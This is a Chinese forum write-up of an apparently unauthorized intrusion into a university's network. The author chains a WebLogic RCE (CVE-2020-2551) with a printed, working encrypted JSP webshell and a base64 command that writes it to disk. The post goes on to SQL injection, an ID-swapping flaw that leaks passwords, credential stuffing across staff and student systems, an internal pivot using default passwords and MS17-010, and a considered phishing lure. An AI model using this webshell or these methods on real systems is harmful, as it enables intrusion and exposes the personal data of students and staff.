0x00 介绍

一次某大学的渗透过程,整体来看比较曲折,不过最后也打到内网了

整个过程是前几个月记录的,最近有空整理分享出来

0x01 信息收集

首先通过域名进入了官网

fofanmap扫官网的IP,发现只开了80端口,简单测了官网无漏洞

在官网某一个链接处跳转到了某教育网IP(222开头)

于是用老版fofa扫l了下这个教育网IP的端口,发现不少地方可以操作

(由于fofa不是实时数据所以又用nmap进行了确认)

大致来看有以下服务(接下来主要内容就是围绕这些服务)

  • 正方OA
  • 强智
  • 闭源学生管理系统
  • 闭源人才培养系统
  • 教师专用邮箱
  • Weblogic

0x02 Weblogic初窥

其实看到18001端口开放大概就猜出了是Weblogic系统,等待fofa识别后果然

通过IIOPCVE-2020-2551直接RCE

通过Base64编码后echo一个冰蝎shell

echo '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>' | base64

echo "PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4K" | base64 -D | > shell.jsp

成功getshell后通过冰蝎上传了一个哥斯拉shell

接下来就是socks5代理了,上传一个frp后发现服务端关了,事发突然并没有做什么权限维持,到手的shell飞了

经过分析和思考,造成这种情况的原因是直接拿了编译好的frp没做免杀,也许内网有全流量,设备报警提醒了,管理员发现异常后直接关机了。坐等开机不是办法,于是尝试其他的系统

0x03 尝试学生管理系统

通过0x01的信息收集,在这个机器上开着某闭源的学生管理系统,直觉告诉我这里有可能会有突破

首先来测弱口令,虽然没有成功,但是发现了一些信息(后期会用到)

  • 虽然有验证码但是可以复用
  • 一个账号爆破五次后会封禁半小时
  • 登录返回包没有敏感信息

接下来就是对JS文件的审计

发现只有很少数量的JS文件,而且大都是JS库,不存在隐藏接口一说

提取静态文件指纹到fofa搜下看看有没有相同网站,如果有相同网站可以通过弱口令进去,找到注入或者getshell后拿到源码审计,这也是一种突破思路。然而搜不到,确定是闭源项目

爆破下隐藏JS或敏感文件,也没有收获

陷入了死胡同,没有办法,只能找其它系统尝试

0x04 初窥正方OA

将目光转移到正方OA

先拿一些已知的正方OA洞测试,由于版本等原因不能成功利用

于是想到正方OA的一个日志泄露:/log/年-月-日-log.txt/log/年-月-日-Errorlog.txt

成功发现日志泄露,某用户(18开头手机号)做了删除表操作,得到内网IP段10,大致猜测该用户是老师或管理员

继续审计日志,发现了一批用户,不过这些用户ID不再是手机号

得到这么多的用户ID就可以造弱口令字典了

不过正方OA的验证码还是比较安全的,爆破起来很麻烦,于是想到之前的闭源学生管理系统

0x04 再探学生管理系统

利用在0x03中总结的规律:虽然有验证码但是可以复用

然后就可以用弱口令来爆了(经典123456)

成功登陆进去

但是发现该账号权限特别小,只能查看一些学校的文件、发布文件等等

系统使用了ueditor1.3.6,有不少文章在这个版本下上传成功,然而这里尝试截断传马失败,有白名单

由于是.net系统,数据库推断使用的是sqlserver

于是尝试找注入点,直接上sqlmap不妥,在后台能传参的地方打报错注入payload

找到一处注入后利用xp_cmdshell提权但是失败,无法getshell

继续挖逻辑洞,尝试找越权

发现了一处接口,通过修改请求参数中的用户ID,可以遍历出登录账号和密码

通过爆破拿到账号admin密码8XXXXXX3

这是一个高权限账号,可以拿下学校所有学生和教职工的信息,比如打卡信息和床位信息

通过这个高权限账号可以拿到一批学生账号密码(通过注入和越权都可以拿)

有没有可能其它系统也用这一套账号密码呢(很多人图方便多套系统密码一致)

0x05 渗透正方OA

通过以上收集到的账号密码,成功进入正方OA

拿下多个老师账号权限,涉及到平时分、补考成绩、选课、论文等

做了一些后续渗透没有什么收获

0x06 登录专用邮箱

找到教师专用邮箱

继续用这套密码测

成功以某教师的身份进入,发现是QQ邮箱换皮(或者是封装了一层)

这时其实可以做一些有意思的事情

比如你是信息部门的老师,可以发邮件给所有老师:最近学校内网流传病毒,请下载该文件查杀

经过思考还是算了,不能乱来

0x07 登录强智

回到最初信息收集拿到的强智

继续用之前收集到的账号密码,成功登入

接下来可以看一些信息,做了一些后续渗透没有什么收获

0x08 渗透人才培养系统

用老办法撞人才培养系统,发现这里并不是同一套密码

提取指纹到fofa搜索一波,发现有接近1000个站点

针对于其中多个站用经典路子渗透(总有一个会出弱口令哈哈)

JS没问题,尝试挖注入,所有可传参点打报错payload,感觉有戏就上sqlmap

成功找到一处注入点(sqlserver)

通过注入即可拿到管理员账号密码

尝试用XP_CMDSHELL提权失败,渗透之路艰难

0x09 再探Weblogic

再次打开之前拿到的Weblogic哥斯拉shell

竟然开机了,这回要珍惜机会了

这回吸取经验教训,不搞frp了,用Neo-reGeorg代理,成功不被杀

0x0a 内网渗透

成功进到内网,稍微扫了下,发现一处华为虚拟化平台,尝试弱口令Admin-Huawei@CLOUD8!成功

接下来测试下17010,配置下msf的路由转发,然后在内网中乱杀

试试弱口令(SSH,FTP,Redis等)基本一试一个准

内网的一些web系统,甚至admin-admin这种都可以直接进

0x0b 总结

最后没有做太多的事情,关了socks隧道,删掉了马,清了msf sessions,一切就当没发生过

之前和大佬做的一些渗透,技术含量不高,现在整理出来,不足之处,大佬们别喷就行

(后来我感觉自己太菜就去做Java安全了,大佬继续在渗透领域深造)

点击收藏 | 6 关注 | 1
登录 后跟帖